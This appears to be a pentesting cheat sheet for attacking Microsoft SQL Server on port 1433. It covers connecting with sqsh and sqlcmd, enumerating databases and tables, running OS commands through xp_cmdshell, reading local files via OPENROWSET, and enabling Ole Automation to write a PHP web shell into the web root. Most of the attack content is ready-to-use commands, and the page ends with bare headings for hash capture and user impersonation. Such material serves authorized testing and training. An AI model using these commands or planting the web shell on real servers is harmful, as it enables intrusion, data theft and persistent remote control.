MSSQl - 1433

  • MSSQL default system schemas/databases:

    • master - keeps the information for an instance of SQL Server.

    • msdb - used by SQL Server Agent.

    • model - a template database copied for each new database.

    • resource - a read-only database that keeps system objects visible in every database on the server in sys schema.

    • tempdb - keeps temporary objects for SQL queries.

Interacting with service

# Linux - SQSH
sqsh -S ip -U username -P Password123
sqsh -S ip -U .\\julio -P 'MyPassword!' -h

# Windows - SQLCMD
C:\> sqlcmd -S ip -U username -P Password123

# Useful Commands

# to list the databases
1> SELECT name FROM master.dbo.sysdatabases
2> GO

# Select a database
1> USE users
2> GO

# Show Tables
1> SELECT table_name FROM users.INFORMATION_SCHEMA.TABLES
2> GO

# Select all Data from Table "users"
1> SELECT * FROM users
2> go

# Execute Commands
1> xp_cmdshell 'whoami'
2> GO

# Read Local Files in MSSQL
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO

# MSSQL - Enable Ole Automation Procedures
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO

# MSSQL - Create a File
1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\\inetpub\\wwwroot\\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Nmap

Metasploit

Capture MSSQL Service Hash

Impersonate Existing Users with MSSQL

Communicate with Other Databases with MSSQL

Connecting with Mssqlclient.py

Last updated